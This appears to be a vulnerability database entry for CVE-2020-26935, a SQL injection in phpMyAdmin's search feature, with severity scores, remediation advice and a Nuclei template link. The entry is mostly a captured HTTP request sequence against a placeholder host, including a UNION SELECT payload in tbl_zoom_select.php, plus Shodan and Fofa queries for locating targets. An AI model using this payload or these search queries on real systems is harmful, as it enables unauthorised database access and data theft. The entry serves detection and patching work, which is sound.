| Title | phpMyAdmin < 5.0.3 - SQL Injection |
|---|---|
| Author | 0x_Akoko |
| Severity | Critical |
| Impact | Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion. |
| Remediation | Update to phpMyAdmin 4.9.6 or 5.0.3, or latest version. |
| CVSS Score | 9.8 |
| EPSS Score | 0.87812 |
| CVE ID | CVE-2020-26935 |
| CWE ID | CWE-89 |
| Shodan Query | http.title:"phpMyAdmin" |
| Fofa Query | app="phpMyAdmin" |
| Tags | cve cve2020 phpmyadmin sqli authenticated |
phpMyAdmin before 4.9.6 and 5.x before 5.0.3 contains a SQL injection caused by improper processing of SQL statements in the search feature, letting attackers inject malicious SQL, exploit requires crafted search input.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/11.0
Connection: close
Accept-Encoding: gzip
POST /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
pma_username=k1qBqJ&pma_password=efN30m&server=1&target=index.php&token=RPry4o&set_session=ycboPD
GET /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:139.0) Gecko/20100101 Firefox/139.0
Connection: close
Accept-Encoding: gzip
POST /tbl_zoom_select.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/601.6.17 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.17
Connection: close
Content-Length: 173
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
db=testdb&table=users&where_clause=1=0 UNION SELECT 1,CONCAT(USER(),0x3a,DATABASE(),0x3a,VERSION()),3-- -&where_clause_sign=&token=nlOGIk&ajax_request=true&get_data_row=true
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-26935.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-26935.pcap
N/AN/A